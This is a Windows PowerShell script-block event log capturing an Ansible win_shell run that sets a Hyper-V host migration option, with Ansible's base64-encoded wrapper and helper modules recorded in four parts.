Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2028 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-850a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
YSA9IEludm9rZS1XbWlNZXRob2QgLUVBIElnbm9yZSAtTmFtZSBHZXRTZXJ2ZXJGZWF0dXJlIC1OYW1lc3BhY2Ugcm9vdFxtaWNyb3NvZnRcd2luZG93c1xzZXJ2ZXJtYW5hZ2VyIC1DbGFzcyBNU0ZUX1NlcnZlck1hbmFnZXJUYXNrcwogICAgJHJlZ0RhdGEgPSBHZXQtSXRlbVByb3BlcnR5ICJIS0xNOlxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiICJQZW5kaW5nRmlsZVJlbmFtZU9wZXJhdGlvbnMiIC1FQSBJZ25vcmUKICAgICRDQlNSZWJvb3RTdGF0dXMgPSBHZXQtQ2hpbGRJdGVtICJIS0xNOlxcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cQ29tcG9uZW50IEJhc2VkIFNlcnZpY2luZyIgIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlfCBXaGVyZS1PYmplY3QgeyRfLlBTQ2hpbGROYW1lIC1lcSAiUmVib290UGVuZGluZyJ9CiAgICBpZigoJGZlYXR1cmVEYXRhIC1hbmQgJGZlYXR1cmVEYXRhLlJlcXVpcmVzUmVib290KSAtb3IgJHJlZ0RhdGEgLW9yICRDQlN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x0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Set-VMHost -useanynetworkformigration $true -passthru -ErrorAction silentlycontinue", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: b6786078-aab0-446d-a77a-33582317a2e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2027 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Re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ZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0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FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50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kcGF0aCAtUGF0aFR5cGUgQ29udGFpbmVyKQogICAgewogICAgICAgICRoYXNoID0gIjMiOwogICAgfQogICAgRWxzZQogICAgewogICAgICAgICRoYXNoID0gIjEiOwogICAgfQogICAgcmV0dXJuICRoYXNoCn0KCkZ1bmN0aW9uIEdldC1QZW5kaW5nUmVib290U3RhdHVzCnsKPCMKICAgIC5TWU5PUFNJUwogICAgQ2hlY2sgaWYgcmVib290IGlzIHJlcXVpcmVkLCBpZiBzbyBub3RpZnkgQ0EuCiAgICBGdW5jdGlvbiByZXR1cm5zIHRydWUgaWYgY29tcHV0ZXIgaGFzIGEgcGVuZGluZyByZWJvb3QKIz4KICAgICRmZWF0dXJlRGF0
ScriptBlock ID: b6786078-aab0-446d-a77a-33582317a2e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2026 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
YWQsIHN0ZG91dF93cml0ZSwgc3RkZXJyX3JlYWQsIHN0ZGVycl93cml0ZSwgc3RkaW5fcmVhZCwgc3RkaW5fd3JpdGU7CiAgICAgICAgICAgIGlmICghQ3JlYXRlUGlwZShvdXQgc3Rkb3V0X3JlYWQsIG91dCBzdGRvdXRfd3JpdGUsIHBpcGVzZWMsIDApKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFdpbjMyRXhjZXB0aW9uKCJTVERPVVQgcGlwZSBzZXR1cCBmYWlsZWQiK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nR1cEluZm8uaFN0ZEVycm9yID0gc3RkZXJyX3dyaXRlOwogICAgICAgICAgICBzaS5zdGFydHVwSW5mby5oU3RkSW5wdXQgPSBzdGRpbl9yZWFkOwoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIHN0ZGluIGJ1ZmZlcgogICAgICAgICAgICBVVEY4RW5jb2RpbmcgdXRmOF9lbmNvZGluZyA9IG5ldyBVVEY4RW5jb2RpbmcoZmFsc2UpOwogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAg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vZGUocGkuaFByb2Nlc3MpOwoKICAgICAgICAgICAgcmV0dXJuIG5ldyBDb21tYW5kUmVzdWx0CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFN0YW5kYXJkT3V0ID0gc3Rkb3V0X3N0ciwKICAgICAgICAgICAgICAgIFN0YW5kYXJkRXJyb3IgPSBzdGRlcnJfc3RyLAogICAgICAgICAgICAgICAgRXhpdENvZGUgPSByYwogICAgICAgICAgICB9OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5T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WYgKCRvYmogLWlzIFtoYXNodGFibGVdIC1vciAkb2JqIC1pcyB
ScriptBlock ID: b6786078-aab0-446d-a77a-33582317a2e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2025 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQ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luZyA9IE5ldy1PYmplY3QgVGV4dC5VVEY4RW5jb2RpbmcgYCRmYWxzZSIpIHwgT3V0LU51bGwKICAgIH0KCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkU2NyaXB0KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmll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Gl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHVibGljIFdp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W5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5k